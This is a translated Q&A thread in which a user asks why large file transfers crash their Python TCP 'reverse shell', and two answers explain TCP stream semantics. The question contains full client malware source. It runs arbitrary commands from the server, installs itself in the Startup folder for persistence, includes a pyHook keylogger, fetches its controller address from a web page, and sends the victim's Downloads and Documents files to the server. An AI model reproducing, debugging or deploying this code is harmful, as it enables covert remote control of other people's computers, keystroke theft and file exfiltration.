3

我目前正在创建一个基于 TCP 的反向 shell(客户端在远程计算机上,连接到本地服务器),它既可以发送和接收文件,也可以通过 TCP 发送 shell 命令。在我尝试从服务器向客户端发送大文件(我记得大于 1 kb)之前,这些程序在其他所有方面(例如,接收和发送命令,服务器接收文件)大部分时间都可以正常工作。当我尝试发送大文件时会发生什么,在服务器完成发送后,客户端由于某种原因崩溃。我什至看不到错误消息。我试图通过在客户端显示接收到的内容来调试它,但它似乎接收良好但立即崩溃。我将为那些想要帮助的人附上客户端代码和服务器代码。代码有点奇怪,因为我添加了一些“标志” 在我第一次调试期间。谢谢你。

服务器代码:

import socket, pickle, time, os
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
address = 'localhost'
port = 1024
server.bind((address, port))
server.listen(5)
c, addr = server.accept()
file_list = {}
print'connection from: '+str(addr)
print'remote shell can only be used for utility purpose, when switching dirve, use "//" between cd and address'
os.chdir("C:/Users/Insert_Name/Desktop/Server")
while True:
    command = raw_input(str(addr)+'>>')
    if command == 't':
        c.send(command)
        cile_list = c.recv(1024)
        cile_lista = pickle.loads(cile_list)
        for key, value in cile_lista.iteritems():
            if 'Downloads' in key:
                a, sep, b = key.partition('/Downloads/')
            if 'Documents' in key:
                a, sep, b = key.partition('/Documents/')
            if 'JAVA' in key:
                a, sep, b = key.partition('/JAVA_BACKUP/')
            output = open(b, 'wb')
            content = c.recv(value)
            output.write(content)
            output.close()
        print'file transfer complete'
    if command == 'a':
        c.send(command)
        print'enter T to indicate file list complete'
        patha = raw_input('Enter file path(must be in server directory, aka Server): ')
        while patha != 'T':
            try:
                f = open(patha,'rb')
                f.close()
                size  = os.path.getsize(patha)
                a, sep, b =  str(size).partition('L')
                file_list[patha] = int(a)
            except:
                print'invalid file name'
            patha = raw_input('Enter file path(must be in server directory): ')
        if len(file_list) == 0:
            c.send(pickle.dumps({'0.txt':0}))
        else:
            file_lista = pickle.dumps(file_list)
            c.send(file_lista)   
            print file_list
            for file in file_list:
                os.chdir("C:/Users/Insert_Name/Desktop/Server")
                content = open(file, 'rb')
                content = content.read()
                c.send(content)
            file_list.clear()
    if command != 't':
        if command != 'a':
                if 'start' in command:
                    c.send(command)
                else:
                    c.send(command)
                    if '//' in command:
                        a, sep, b = command.partition('//')
                        c.send(b)
                    feedback  = c.recv(1024)
                    print feedback
                    while True:
                        feedback = c.recv(1024)
                        if '_DONE_' in feedback:
                            a, sep, b = feedback.partition('_SEP_')
                            print a
                            break

                    print feedback

客户代码:

import socket, os, textract, pickle, requests, time, threading, subprocess, getpass, shutil, lxml, glob, pyHook, pythoncom, sys, logging
from shutil import copyfile
from lxml import html
from os import listdir
#var is the varification webiste
var = 'https://www.publishthis.email/test-SJC9dAQ3G'
file_list = {}
print file_list
username = getpass.getuser()
def duplication(username):
    source = "C:/Users/"+username+"/Downloads/MATH_COUNTS/botnet.py"
    destination = "C:/Users/"+username+"/Saved Games"
    shutil.copy(source, destination)
    setup = open('C:/Users/'+ username+'/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/setup.bat', 'w')
    pl =('@echo off\nstart C:\Users/%USERNAME%/Saved Games/botnet.py')
    setup.write(pl)
    setup.close()

def communication(var):
    page = requests.get(var)
    print page
    tree = html.fromstring(page.content)
    address = tree.xpath('//div[@class = "body"]/div[@dir = "ltr"]/text()')
    address = ''.join(address)
    address = address.replace("'", "")
    return address

def keylogger(username):
    filename = "C:/Users/"+username+"/Saved Games/README.txt"
    def keylog(event):
        username = getpass.getuser()
        logging.basicConfig(filename ="C:/Users/"+username+"/Saved Games/README.txt" , level=logging.DEBUG, format = '%(message)s')
        chr(event.Ascii)
        logging.log(10, chr(event.Ascii))
        return True
    hm = pyHook.HookManager()
    hm.KeyDown = keylog
    hm.HookKeyboard()
    pythoncom.PumpMessages()

def tcp_connection(address, username):
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server = client.connect((address, 1024))
    while True:
        command = client.recv(1024)
        if command != 'a':
            if command == 't':
                file_gatherer(username)
                print file_list
                file_lista = pickle.dumps(file_list)
                client.send(file_lista)
                for file in file_list:
                    file = open(file, 'rb')
                    file = file.read()
                    client.send(file)
        if command != 't':
            if command != 'a':
                if 'cd' in command:
                    f = os.getcwd() 
                    b = client.recv(1024)
                    try:
                        os.chdir(b)
                        r = os.getcwd()
                    except:
                        r = 'error: invalid directory name'
                else:
                    result = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
                    f = result.stdout.read()
                    r = result.stderr.read()
                client.send(f)
                client.send(r)
                client.send('_SEP_/n_DONE_')
        if command == 'a':
            cile_list = client.recv(1024)
            cile_lista = pickle.loads(cile_list)
            print cile_lista
            for key, value in cile_lista.iteritems():
                output = open(key, 'wb')
                content = client.recv(value)
                print content
                output.write(content)
                output.close() 
def file_gatherer(username):
    try:
        os.makedirs("C:/Users/"+username+"/Games/JAVA_BACKUP")
    except:
        pass
    for file in os.listdir("C:/Users/"+username+"/Games/JAVA_BACKUP"):
        try:
            file_list["C:/Users/"+username+"/Games/JAVA_BACKUP/" + file] = os.path.getsize(file)
        except:
            pass
    os.chdir("C:/Users/"+username+"/Downloads")
    for file in glob.glob('*.pdf'):
        size = os.path.getsize(file)
        a, sep, b = str(size).partition('L')
        file_list["C:/Users/"+username+"/Downloads/" + file] = int(a)
    for file in glob.glob('*.txt'):
        size = os.path.getsize(file)
        a, sep, b = str(size).partition('L')
        file_list["C:/Users/"+username+"/Downloads/" + file] = int(a)
    os.chdir("C:/Users/"+username+"/Documents")
    for file in glob.glob('*.pdf'):
        size = os.path.getsize(file)
        a, sep, b = str(size).partition('L')
        file_list["C:/Users/"+username+"/Documents/" + file] = int(a)
    #for file in glob.glob('*.txt'):
    #    file_list["C:/Users/"+username+"/Documents/" + file] = os.path.getsize(file)

tcp_connection('localhost', username)
def main():
    duplication()
    keylogger()
    address = communication(var)
    file_gatherer()
    file_transfer(address)

问题只是文件传输。

4

2 回答 2

7

Python Socket TCP连接大小限制?

你实际上是在问错误的问题。真正的问题是 TCP 是一种流式协议,而您将其视为消息协议,即您在代码中假设每一侧的每send一侧都将由对recv等方的恰好一个处理。除此之外,您假设send将写入作为参数给出的完整缓冲区,但文档明确指出它不会:

应用程序负责检查所有数据是否已发送;如果仅传输了部分数据,则应用程序需要尝试传输剩余数据。

忽略这一点意味着您在读取数据时可能会遇到不完整的“消息”,或者在读取数据时会收到多个“消息”(或一个填充和一个部分或类似的)。例如,这可能会导致在尝试 unpickle 数据时崩溃。

但是要达到大小限制:在单个send. 此限制取决于套接字缓冲区的大小以及套接字的当前状态,即套接字是否已被填充。如果您使用 ssl 套接字,它会进一步受到 SSL 帧的最大大小的限制。但是 TCP 本身对可以传输的数据量没有限制,但是如果您传递大量数据,则需要多次写入套接字。

客户端程序包含一个键盘记录器,它现在没用,因为我还没有创建命令来激活它,所以你可以忽略它。

当你自己调试一个问题或让其他人帮你调试它时,如果你扔掉了重现问题实际上不需要的所有东西,它会很有帮助。请参阅如何创建最小、完整和可验证的示例

于 2018-06-17T05:53:23.923 回答
1
  • 您通常不能假设套接字读取会填满缓冲区,或者套接字写入会发送指定的全部数据量。
  • 一般来说,您不应该将整个文件加载到内存中:您应该使用具有合理缓冲区大小的复制循环,例如 8K。
于 2018-06-17T05:15:17.533 回答